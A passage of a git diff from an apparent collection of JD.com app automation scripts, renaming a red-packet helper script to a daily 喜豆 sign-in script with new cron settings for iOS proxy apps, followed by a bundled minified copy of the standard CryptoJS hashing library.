Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_jxlhb.js b/jx_sign_xd.js similarity index 79% rename from jd_jxlhb.js rename to jx_sign_xd.js index 0fa5c67d9..54c5f7aa6 100644 --- a/jd_jxlhb.js +++ b/jx_sign_xd.js @@ -1,23 +1,23 @@ /* -京喜领88元红包 -活动入口:京喜app-》我的-》京喜领88元红包 -助力逻辑:先自己京东账号相互助力,如有剩余助力机会,则助力作者 -温馨提示:如提示助力火爆,可尝试寻找京东客服 -脚本兼容: Quantumult X, Surge, Loon, JSBox, Node.js -==============Quantumult X============== +京喜签到-喜豆 +cron 30 2,9 * * * jx_sign_xd.js +活动入口:京喜APP-我的-京喜签到-喜豆 +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== [task_local] -#京喜领88元红包 -4 2,10 * * * https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_jxlhb.js, tag=京喜领88元红包, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true +#京喜签到-喜豆 +30 2,9 * * * https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jx_sign_xd.js, tag=京喜签到-喜豆, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jxcfd.png, enabled=true -==============Loon============== +================Loon============== [Script] -cron "4 2,10 * * *" script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_jxlhb.js,tag=京喜领88元红包 +cron "30 2,9 * * *" script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jx_sign_xd.js,tag=京喜签到-喜豆 -================Surge=============== -京喜领88元红包 = type=cron,cronexp="4 2,10 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_jxlhb.js +===============Surge================= +京喜签到-喜豆 = type=cron,cronexp="30 2,9 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jx_sign_xd.js -===============小火箭========== -京喜领88元红包 = type=cron,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_jxlhb.js, cronexpr="4 2,10 * * *", timeout=3600, enable=true +============小火箭========= +京喜签到-喜豆 = type=cron,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jx_sign_xd.js, cronexpr="30 2,9 * * *", timeout=3600, enable=true */ !function (t, r) { "object" == typeof exports ? module.exports = exports = r() : "function" == typeof define && define.amd ? define([], r) : t.CryptoJS = r() }(this, function () { var t = t || function (t, r) { var e = Object.create || function () { function t() { } return function (r) { var e; return t.prototype = r, e = new t, t.prototype = null, e } }(), i = {}, n = i.lib = {}, o = n.Base = function () { return { extend: function (t) { var r = e(this); return t && r.mixIn(t), r.hasOwnProperty("init") && this.init !== r.init || (r.init = function () { r.$super.init.apply(this, arguments) }), r.init.prototype = r, r.$super = this, r }, create: function () { var t = this.extend(); return t.init.apply(t, arguments), t }, init: function () { }, mixIn: function (t) { for (var r in t) t.hasOwnProperty(r) && (this[r] = t[r]); t.hasOwnProperty("toString") && (this.toString = t.toString) }, clone: function () { return this.init.prototype.extend(this) } } }(), s = n.WordArray = o.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 4 * t.length }, toString: function (t) { return (t || c).stringify(this) }, concat: function (t) { var r = this.words, e = t.words, i = this.sigBytes, n = t.sigBytes; if (this.clamp(), i % 4) for (var o = 0; o < n; o++) { var s = e[o >>> 2] >>> 24 - o % 4 * 8 & 255; r[i + o >>> 2] |= s << 24 - (i + o) % 4 * 8 } else for (var o = 0; o < n; o += 4)r[i + o >>> 2] = e[o >>> 2]; return this.sigBytes += n, this }, clamp: function () { var r = this.words, e = this.sigBytes; r[e >>> 2] &= 4294967295 << 32 - e % 4 * 8, r.length = t.ceil(e / 4) }, clone: function () { var t = o.clone.call(this); return t.words = this.words.slice(0), t }, random: function (r) { for (var e, i = [], n = function (r) { var r = r, e = 987654321, i = 4294967295; return function () { e = 36969 * (65535 & e) + (e >> 16) & i, r = 18e3 * (65535 & r) + (r >> 16) & i; var n = (e << 16) + r & i; return n /= 4294967296, n += .5, n * (t.random() > .5 ? 1 : -1) } }, o = 0; o < r; o += 4) { var a = n(4294967296 * (e || t.random())); e = 987654071 * a(), i.push(4294967296 * a() | 0) } return new s.init(i, r) } }), a = i.enc = {}, c = a.Hex = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push((o >>> 4).toString(16)), i.push((15 & o).toString(16)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i += 2)e[i >>> 3] |= parseInt(t.substr(i, 2), 16) << 24 - i % 8 * 4; return new s.init(e, r / 2) } }, h = a.Latin1 = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 2] |= (255 & t.charCodeAt(i)) << 24 - i % 4 * 8; return new s.init(e, r) } }, l = a.Utf8 = { stringify: function (t) { try { return decodeURIComponent(escape(h.stringify(t))) } catch (t) { throw new Error("Malformed UTF-8 data") } }, parse: function (t) { return h.parse(unescape(encodeURIComponent(t))) } }, f = n.BufferedBlockAlgorithm = o.extend({ reset: function () { this._data = new s.init, this._nDataBytes = 0 }, _append: function (t) { "string" == typeof t && (t = l.parse(t)), this._data.concat(t), this._nDataBytes += t.sigBytes }, _process: function (r) { var e = this._data, i = e.words, n = e.sigBytes, o = this.blockSize, a = 4 * o, c = n / a; c = r ? t.ceil(c) : t.max((0 | c) - this._minBufferSize, 0); var h = c * o, l = t.min(4 * h, n); if (h) { for (var f = 0; f < h; f += o)this._doProcessBlock(i, f); var u = i.splice(0, h); e.sigBytes -= l } return new s.init(u, l) }, clone: function () { var t = o.clone.call(this); return t._data = this._data.clone(), t }, _minBufferSize: 0 }), u = (n.Hasher = f.extend({ cfg: o.extend(), init: function (t) { this.cfg = this.cfg.extend(t), this.reset() }, reset: function () { f.reset.call(this), this._doReset() }, update: function (t) { return this._append(t), this._process(), this }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, blockSize: 16, _createHelper: function (t) { return function (r, e) { return new t.init(e).finalize(r) } }, _createHmacHelper: function (t) { return function (r, e) { return new u.HMAC.init(t, e).finalize(r) } } }), i.algo = {}); return i }(Math); return function () { function r(t, r, e) { for (var i = [], o = 0, s = 0; s < r; s++)if (s % 4) { var a = e[t.charCodeAt(s - 1)] << s % 4 * 2, c = e[t.charCodeAt(s)] >>> 6 - s % 4 * 2; i[o >>> 2] |= (a | c) << 24 - o % 4 * 8, o++ } return n.create(i, o) } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Base64 = { stringify: function (t) { var r = t.words, e = t.sigBytes, i = this._map; t.clamp(); for (var n = [], o = 0; o < e; o += 3)for (var s = r[o >>> 2] >>> 24 - o % 4 * 8 & 255, a = r[o + 1 >>> 2] >>> 24 - (o + 1) % 4 * 8 & 255, c = r[o + 2 >>> 2] >>> 24 - (o + 2) % 4 * 8 & 255, h = s << 16 | a << 8 | c, l = 0; l < 4 && o + .75 * l < e; l++)n.push(i.charAt(h >>> 6 * (3 - l) & 63)); var f = i.charAt(64); if (f) for (; n.length % 4;)n.push(f); return n.join("") }, parse: function (t) { var e = t.length, i = this._map, n = this._reverseMap; if (!n) { n = this._reverseMap = []; for (var o = 0; o < i.length; o++)n[i.charCodeAt(o)] = o } var s = i.charAt(64); if (s) { var a = t.indexOf(s); a !== -1 && (e = a) } return r(t, e, n) }, _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" } }(), function (r) { function e(t, r, e, i, n, o, s) { var a = t + (r & e | ~r & i) + n + s; return (a << o | a >>> 32 - o) + r } function i(t, r, e, i, n, o, s) { var a = t + (r & i | e & ~i) + n + s; return (a << o | a >>> 32 - o) + r } function n(t, r, e, i, n, o, s) { var a = t + (r ^ e ^ i) + n + s; return (a << o | a >>> 32 - o) + r } function o(t, r, e, i, n, o, s) { var a = t + (e ^ (r | ~i)) + n + s; return (a << o | a >>> 32 - o) + r } var s = t, a = s.lib, c = a.WordArray, h = a.Hasher, l = s.algo, f = []; !function () { for (var t = 0; t < 64; t++)f[t] = 4294967296 * r.abs(r.sin(t + 1)) | 0 }(); var u = l.MD5 = h.extend({ _doReset: function () { this._hash = new c.init([1732584193, 4023233417, 2562383102, 271733878]) }, _doProcessBlock: function (t, r) { for (var s = 0; s < 16; s++) { var a = r + s, c = t[a]; t[a] = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8) } var h = this._hash.words, l = t[r + 0], u = t[r + 1], d = t[r + 2], v = t[r + 3], p = t[r + 4], _ = t[r + 5], y = t[r + 6], g = t[r + 7], B = t[r + 8], w = t[r + 9], k = t[r + 10], S = t[r + 11], m = t[r + 12], x = t[r + 13], b = t[r + 14], H = t[r + 15], z = h[0], A = h[1], C = h[2], D = h[3]; z = e(z, A, C, D, l, 7, f[0]), D = e(D, z, A, C, u, 12, f[1]), C = e(C, D, z, A, d, 17, f[2]), A = e(A, C, D, z, v, 22, f[3]), z = e(z, A, C, D, p, 7, f[4]), D = e(D, z, A, C, _, 12, f[5]), C = e(C, D, z, A, y, 17, f[6]), A = e(A, C, D, z, g, 22, f[7]), z = e(z, A, C, D, B, 7, f[8]), D = e(D, z, A, C, w, 12, f[9]), C = e(C, D, z, A, k, 17, f[10]), A = e(A, C, D, z, S, 22, f[11]), z = e(z, A, C, D, m, 7, f[12]), D = e(D, z, A, C, x, 12, f[13]), C = e(C, D, z, A, b, 17, f[14]), A = e(A, C, D, z, H, 22, f[15]), z = i(z, A, C, D, u, 5, f[16]), D = i(D, z, A, C, y, 9, f[17]), C = i(C, D, z, A, S, 14, f[18]), A = i(A, C, D, z, l, 20, f[19]), z = i(z, A, C, D, _, 5, f[20]), D = i(D, z, A, C, k, 9, f[21]), C = i(C, D, z, A, H, 14, f[22]), A = i(A, C, D, z, p, 20, f[23]), z = i(z, A, C, D, w, 5, f[24]), D = i(D, z, A, C, b, 9, f[25]), C = i(C, D, z, A, v, 14, f[26]), A = i(A, C, D, z, B, 20, f[27]), z = i(z, A, C, D, x, 5, f[28]), D = i(D, z, A, C, d, 9, f[29]), C = i(C, D, z, A, g, 14, f[30]), A = i(A, C, D, z, m, 20, f[31]), z = n(z, A, C, D, _, 4, f[32]), D = n(D, z, A, C, B, 11, f[33]), C = n(C, D, z, A, S, 16, f[34]), A = n(A, C, D, z, b, 23, f[35]), z = n(z, A, C, D, u, 4, f[36]), D = n(D, z, A, C, p, 11, f[37]), C = n(C, D, z, A, g, 16, f[38]), A = n(A, C, D, z, k, 23, f[39]), z = n(z, A, C, D, x, 4, f[40]), D = n(D, z, A, C, l, 11, f[41]), C = n(C, D, z, A, v, 16, f[42]), A = n(A, C, D, z, y, 23, f[43]), z = n(z, A, C, D, w, 4, f[44]), D = n(D, z, A, C, m, 11, f[45]), C = n(C, D, z, A, H, 16, f[46]), A = n(A, C, D, z, d, 23, f[47]), z = o(z, A, C, D, l, 6, f[48]), D = o(D, z, A, C, g, 10, f[49]), C = o(C, D, z, A, b, 15, f[50]), A = o(A, C, D, z, _, 21, f[51]), z = o(z, A, C, D, m, 6, f[52]), D = o(D, z, A, C, v, 10, f[53]), C = o(C, D, z, A, k, 15, f[54]), A = o(A, C, D, z, u, 21, f[55]), z = o(z, A, C, D, B, 6, f[56]), D = o(D, z, A, C, H, 10, f[57]), C = o(C, D, z, A, y, 15, f[58]), A = o(A, C, D, z, x, 21, f[59]), z = o(z, A, C, D, p, 6, f[60]), D = o(D, z, A, C, S, 10, f[61]), C = o(C, D, z, A, d, 15, f[62]), A = o(A, C, D, z, w, 21, f[63]), h[0] = h[0] + z | 0, h[1] = h[1] + A | 0, h[2] = h[2] + C | 0, h[3] = h[3] + D | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; e[n >>> 5] |= 128 << 24 - n % 32; var o = r.floor(i / 4294967296), s = i; e[(n + 64 >>> 9 << 4) + 15] = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), e[(n + 64 >>> 9 << 4) + 14] = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8), t.sigBytes = 4 * (e.length + 1), this._process(); for (var a = this._hash, c = a.words, h = 0; h < 4; h++) { var l = c[h]; c[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } return a }, clone: function () { var t = h.clone.call(this); return t._hash = this._hash.clone(), t } }); s.MD5 = h._createHelper(u), s.HmacMD5 = h._createHmacHelper(u) }(Math), function () { var r = t, e = r.lib, i = e.WordArray, n = e.Hasher, o = r.algo, s = [], a = o.SHA1 = n.extend({ _doReset: function () { this._hash = new i.init([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], a = e[3], c = e[4], h = 0; h < 80; h++) { if (h < 16) s[h] = 0 | t[r + h]; else { var l = s[h - 3] ^ s[h - 8] ^ s[h - 14] ^ s[h - 16]; s[h] = l << 1 | l >>> 31 } var f = (i << 5 | i >>> 27) + c + s[h]; f += h < 20 ? (n & o | ~n & a) + 1518500249 : h < 40 ? (n ^ o ^ a) + 1859775393 : h < 60 ? (n & o | n & a | o & a) - 1894007588 : (n ^ o ^ a) - 899497514, c = a, a = o, o = n << 30 | n >>> 2, n = i, i = f } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + a | 0, e[4] = e[4] + c | 0 }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; return r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = Math.floor(e / 4294967296), r[(i + 64 >>> 9 << 4) + 15] = e, t.sigBytes = 4 * r.length, this._process(), this._hash }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t } }); r.SHA1 = n._createHelper(a), r.HmacSHA1 = n._createHmacHelper(a) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.algo, a = [], c = []; !function () { function t(t) { for (var e = r.sqrt(t), i = 2; i <= e; i++)if (!(t % i)) return !1; return !0 } function e(t) { return 4294967296 * (t - (0 | t)) | 0 } for (var i = 2, n = 0; n < 64;)t(i) && (n < 8 && (a[n] = e(r.pow(i, .5))), c[n] = e(r.pow(i, 1 / 3)), n++), i++ }(); var h = [], l = s.SHA256 = o.extend({ _doReset: function () { this._hash = new n.init(a.slice(0)) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], l = e[5], f = e[6], u = e[7], d = 0; d < 64; d++) { if (d < 16) h[d] = 0 | t[r + d]; else { var v = h[d - 15], p = (v << 25 | v >>> 7) ^ (v << 14 | v >>> 18) ^ v >>> 3, _ = h[d - 2], y = (_ << 15 | _ >>> 17) ^ (_ << 13 | _ >>> 19) ^ _ >>> 10; h[d] = p + h[d - 7] + y + h[d - 16] } var g = a & l ^ ~a & f, B = i & n ^ i & o ^ n & o, w = (i << 30 | i >>> 2) ^ (i << 19 | i >>> 13) ^ (i << 10 | i >>> 22), k = (a << 26 | a >>> 6) ^ (a << 21 | a >>> 11) ^ (a << 7 | a >>> 25), S = u + k + g + c[d] + h[d], m = w + B; u = f, f = l, l = a, a = s + S | 0, s = o, o = n, n = i, i = S + m | 0 } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + s | 0, e[4] = e[4] + a | 0, e[5] = e[5] + l | 0, e[6] = e[6] + f | 0, e[7] = e[7] + u | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; return e[n >>> 5] |= 128 << 24 - n % 32, e[(n + 64 >>> 9 << 4) + 14] = r.floor(i / 4294967296), e[(n + 64 >>> 9 << 4) + 15] = i, t.sigBytes = 4 * e.length, this._process(), this._hash }, clone: function () { var t = o.clone.call(this); return t._hash = this._hash.clone(), t } }); e.SHA256 = o._createHelper(l), e.HmacSHA256 = o._createHmacHelper(l) }(Math), function () { function r(t) { return t << 8 & 4278255360 | t >>> 8 & 16711935 } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Utf16 = o.Utf16BE = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n += 2) { var o = r[n >>> 2] >>> 16 - n % 4 * 8 & 65535; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 1] |= t.charCodeAt(i) << 16 - i % 2 * 16; return n.create(e, 2 * r) } }; o.Utf16LE = { stringify: function (t) { for (var e = t.words, i = t.sigBytes, n = [], o = 0; o < i; o += 2) { var s = r(e[o >>> 2] >>> 16 - o % 4 * 8 & 65535); n.push(String.fromCharCode(s)) } return n.join("") }, parse: function (t) { for (var e = t.length, i = [], o = 0; o < e; o++)i[o >>> 1] |= r(t.charCodeAt(o) << 16 - o % 2 * 16); return n.create(i, 2 * e) } } }(), function () { if ("function" == typeof ArrayBuffer) { var r = t, e = r.lib, i = e.WordArray, n = i.init, o = i.init = function (t) { if (t instanceof ArrayBuffer && (t = new Uint8Array(t)), (t instanceof Int8Array || "undefined" != typeof Uint8ClampedArray && t instanceof Uint8ClampedArray || t instanceof Int16Array || t instanceof Uint16Array || t instanceof Int32Array || t instanceof Uint32Array || t instanceof Float32Array || t instanceof Float64Array) && (t = new Uint8Array(t.buffer, t.byteOffset, t.byteLength)), t instanceof Uint8Array) { for (var r = t.byteLength, e = [], i = 0; i < r; i++)e[i >>> 2] |= t[i] << 24 - i % 4 * 8; n.call(this, e, r) } else n.apply(this, arguments) }; o.prototype = i } }(), function (r) { function e(t, r, e) { return t ^ r ^ e } function i(t, r, e) { return t & r | ~t & e } function n(t, r, e) { return (t | ~r) ^ e } function o(t, r, e) { return t & e | r & ~e } function s(t, r, e) { return t ^ (r | ~e) } function a(t, r) { return t << r | t >>> 32 - r } var c = t, h = c.lib, l = h.WordArray, f = h.Hasher, u = c.algo, d = l.create([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 7, 4, 13, 1, 10, 6, 15, 3, 12, 0, 9, 5, 2, 14, 11, 8, 3, 10, 14, 4, 9, 15, 8, 1, 2, 7, 0, 6, 13, 11, 5, 12, 1, 9, 11, 10, 0, 8, 12, 4, 13, 3, 7, 15, 14, 5, 6, 2, 4, 0, 5, 9, 7, 12, 2, 10, 14, 1, 3, 8, 11, 6, 15, 13]), v = l.create([5, 14, 7, 0, 9, 2, 11, 4, 13, 6, 15, 8, 1, 10, 3, 12, 6, 11, 3, 7, 0, 13, 5, 10, 14, 15, 8, 12, 4, 9, 1, 2, 15, 5, 1, 3, 7, 14, 6, 9, 11, 8, 12, 2, 10, 0, 4, 13, 8, 6, 4, 1, 3, 11, 15, 0, 5, 12, 2, 13, 9, 7, 10, 14, 12, 15, 10, 4, 1, 5, 8, 7, 6, 2, 13, 14, 0, 3, 9, 11]), p = l.create([11, 14, 15, 12, 5, 8, 7, 9, 11, 13, 14, 15, 6, 7, 9, 8, 7, 6, 8, 13, 11, 9, 7, 15, 7, 12, 15, 9, 11, 7, 13, 12, 11, 13, 6, 7, 14, 9, 13, 15, 14, 8, 13, 6, 5, 12, 7, 5, 11, 12, 14, 15, 14, 15, 9, 8, 9, 14, 5, 6, 8, 6, 5, 12, 9, 15, 5, 11, 6, 8, 13, 12, 5, 12, 13, 14, 11, 8, 5, 6]), _ = l.create([8, 9, 9, 11, 13, 15, 15, 5, 7, 7, 8, 11, 14, 14, 12, 6, 9, 13, 15, 7, 12, 8, 9, 11, 7, 7, 12, 7, 6, 15, 13, 11, 9, 7, 15, 11, 8, 6, 6, 14, 12, 13, 5, 14, 13, 13, 7, 5, 15, 5, 8, 11, 14, 14, 6, 14, 6, 9, 12, 9, 12, 5, 15, 8, 8, 5, 12, 9, 12, 5, 14, 6, 8, 13, 6, 5, 15, 13, 11, 11]), y = l.create([0, 1518500249, 1859775393, 2400959708, 2840853838]), g = l.create([1352829926, 1548603684, 1836072691, 2053994217, 0]), B = u.RIPEMD160 = f.extend({ _doReset: function () { this._hash = l.create([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var c = 0; c < 16; c++) { var h = r + c, l = t[h]; t[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } var f, u, B, w, k, S, m, x, b, H, z = this._hash.words, A = y.words, C = g.words, D = d.words, R = v.words, E = p.words, M = _.words; S = f = z[0], m = u = z[1], x = B = z[2], b = w = z[3], H = k = z[4]; for (var F, c = 0; c < 80; c += 1)F = f + t[r + D[c]] | 0, F += c < 16 ? e(u, B, w) + A[0] : c < 32 ? i(u, B, w) + A[1] : c < 48 ? n(u, B, w) + A[2] : c < 64 ? o(u, B, w) + A[3] : s(u, B, w) + A[4], F |= 0, F = a(F, E[c]), F = F + k | 0, f = k, k = w, w = a(B, 10), B = u, u = F, F = S + t[r + R[c]] | 0, F += c < 16 ? s(m, x, b) + C[0] : c < 32 ? o(m, x, b) + C[1] : c < 48 ? n(m, x, b) + C[2] : c < 64 ? i(m, x, b) + C[3] : e(m, x, b) + C[4], F |= 0, F = a(F, M[c]), F = F + H | 0, S = H, H = b, b = a(x, 10), x = m, m = F; F = z[1] + B + b | 0, z[1] = z[2] + w + H | 0, z[2] = z[3] + k + S | 0, z[3] = z[4] + f + m | 0, z[4] = z[0] + u + x | 0, z[0] = F }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = 16711935 & (e << 8 | e >>> 24) | 4278255360 & (e << 24 | e >>> 8), t.sigBytes = 4 * (r.length + 1), this._process(); for (var n = this._hash, o = n.words, s = 0; s < 5; s++) { var a = o[s]; o[s] = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8) } return n }, clone: function () { var t = f.clone.call(this); return t._hash = this._hash.clone(), t } }); c.RIPEMD160 = f._createHelper(B), c.HmacRIPEMD160 = f._createHmacHelper(B) }(Math), function () { var r = t, e = r.lib, i = e.Base, n = r.enc, o = n.Utf8, s = r.algo; s.HMAC = i.extend({ init: function (t, r) { t = this._hasher = new t.init, "string" == typeof r && (r = o.parse(r)); var e = t.blockSize, i = 4 * e; r.sigBytes > i && (r = t.finalize(r)), r.clamp(); for (var n = this._oKey = r.clone(), s = this._iKey = r.clone(), a = n.words, c = s.words, h = 0; h < e; h++)a[h] ^= 1549556828, c[h] ^= 909522486; n.sigBytes = s.sigBytes = i, this.reset() }, reset: function () { var t = this._hasher; t.reset(), t.update(this._iKey) }, update: function (t) { return this._hasher.update(t), this }, finalize: function (t) { var r = this._hasher, e = r.finalize(t); r.reset(); var i = r.finalize(this._oKey.clone().concat(e)); return i } }) }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.SHA1, a = o.HMAC, c = o.PBKDF2 = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = a.create(e.hasher, t), o = n.create(), s = n.create([1]), c = o.words, h = s.words, l = e.keySize, f = e.iterations; c.length < l;) { var u = i.update(r).finalize(s); i.reset(); for (var d = u.words, v = d.length, p = u, _ = 1; _ < f; _++) { p = i.finalize(p), i.reset(); for (var y = p.words, g = 0; g < v; g++)d[g] ^= y[g] } o.concat(u), h[0]++ } return o.sigBytes = 4 * l, o } }); r.PBKDF2 = function (t, r, e) { return c.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.MD5, a = o.EvpKDF = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = e.hasher.create(), o = n.create(), s = o.words, a = e.keySize, c = e.iterations; s.length < a;) { h && i.update(h); var h = i.update(t).finalize(r); i.reset(); for (var l = 1; l < c; l++)h = i.finalize(h), i.reset(); o.concat(h) } return o.sigBytes = 4 * a, o } }); r.EvpKDF = function (t, r, e) { return a.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.WordArray, n = r.algo, o = n.SHA256, s = n.SHA224 = o.extend({ _doReset: function () { this._hash = new i.init([3238371032, 914150663, 812702999, 4144912697, 4290775857, 1750603025, 1694076839, 3204075428]) }, _doFinalize: function () { var t = o._doFinalize.call(this); return t.sigBytes -= 4, t } }); r.SHA224 = o._createHelper(s), r.HmacSHA224 = o._createHmacHelper(s) }(), function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = e.x64 = {}; s.Word = n.extend({ init: function (t, r) { this.high = t, this.low = r } }), s.WordArray = n.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 8 * t.length }, toX32: function () { for (var t = this.words, r = t.length, e = [], i = 0; i < r; i++) { var n = t[i]; e.push(n.high), e.push(n.low) } return o.create(e, this.sigBytes) }, clone: function () { for (var t = n.clone.call(this), r = t.words = this.words.slice(0), e = r.length, i = 0; i < e; i++)r[i] = r[i].clone(); return t } }) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.x64, a = s.Word, c = e.algo, h = [], l = [], f = []; !function () { for (var t = 1, r = 0, e = 0; e < 24; e++) { h[t + 5 * r] = (e + 1) * (e + 2) / 2 % 64; var i = r % 5, n = (2 * t + 3 * r) % 5; t = i, r = n } for (var t = 0; t < 5; t++)for (var r = 0; r < 5; r++)l[t + 5 * r] = r + (2 * t + 3 * r) % 5 * 5; for (var o = 1, s = 0; s < 24; s++) { for (var c = 0, u = 0, d = 0; d < 7; d++) { if (1 & o) { var v = (1 << d) - 1; v < 32 ? u ^= 1 << v : c ^= 1 << v - 32 } 128 & o ? o = o << 1 ^ 113 : o <<= 1 } f[s] = a.create(c, u) } }(); var u = []; !function () { for (var t = 0; t < 25; t++)u[t] = a.create() }(); var d = c.SHA3 = o.extend({ cfg: o.cfg.extend({ outputLength: 512 }), _doReset: function () { for (var t = this._state = [], r = 0; r < 25; r++)t[r] = new a.init; this.blockSize = (1600 - 2 * this.cfg.outputLength) / 32 }, _doProcessBlock: function (t, r) { for (var e = this._state, i = this.blockSize / 2, n = 0; n < i; n++) { var o = t[r + 2 * n], s = t[r + 2 * n + 1]; o = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), s = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8); var a = e[n]; a.high ^= s, a.low ^= o } for (var c = 0; c < 24; c++) { for (var d = 0; d < 5; d++) { for (var v = 0, p = 0, _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; v ^= a.high, p ^= a.low } var y = u[d]; y.high = v, y.low = p } for (var d = 0; d < 5; d++)for (var g = u[(d + 4) % 5], B = u[(d + 1) % 5], w = B.high, k = B.low, v = g.high ^ (w << 1 | k >>> 31), p = g.low ^ (k << 1 | w >>> 31), _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; a.high ^= v, a.low ^= p } for (var S = 1; S < 25; S++) { var a = e[S], m = a.high, x = a.low, b = h[S]; if (b < 32) var v = m << b | x >>> 32 - b, p = x << b | m >>> 32 - b; else var v = x << b - 32 | m >>> 64 - b, p = m << b - 32 | x >>> 64 - b; var H = u[l[S]]; H.high = v, H.low = p } var z = u[0], A = e[0]; z.high = A.high, z.low = A.low; for (var d = 0; d < 5; d++)for (var _ = 0; _ < 5; _++) { var S = d + 5 * _, a = e[S], C = u[S], D = u[(d + 1) % 5 + 5 * _], R = u[(d + 2) % 5 + 5 * _]; a.high = C.high ^ ~D.high & R.high, a.low = C.low ^ ~D.low & R.low } var a = e[0], E = f[c]; a.high ^= E.high, a.low ^= E.low } }, _doFinalize: function () { var t = this._data, e = t.words, i = (8 * this._nDataBytes, 8 * t.sigBytes), o = 32 * this.blockSize; e[i >>> 5] |= 1 << 24 - i % 32, e[(r.ceil((i + 1) / o) * o >>> 5) - 1] |= 128, t.sigBytes = 4 * e.length, this._process(); for (var s = this._state, a = this.cfg.outputLength / 8, c = a / 8, h = [], l = 0; l < c; l++) { var f = s[l], u = f.high, d = f.low; u = 16711935 & (u << 8 | u >>> 24) | 4278255360 & (u << 24 | u >>> 8), d = 16711935 & (d << 8 | d >>> 24) | 4278255360 & (d << 24 | d >>> 8), h.push(d), h.push(u) } return new n.init(h, a) }, clone: function () { for (var t = o.clone.call(this), r = t._state = this._state.slice(0), e = 0; e < 25; e++)r[e] = r[e].clone(); return t } }); e.SHA3 = o._createHelper(d), e.HmacSHA3 = o._createHmacHelper(d) }(Math), function () { function r() { return s.create.apply(s, arguments) } var e = t, 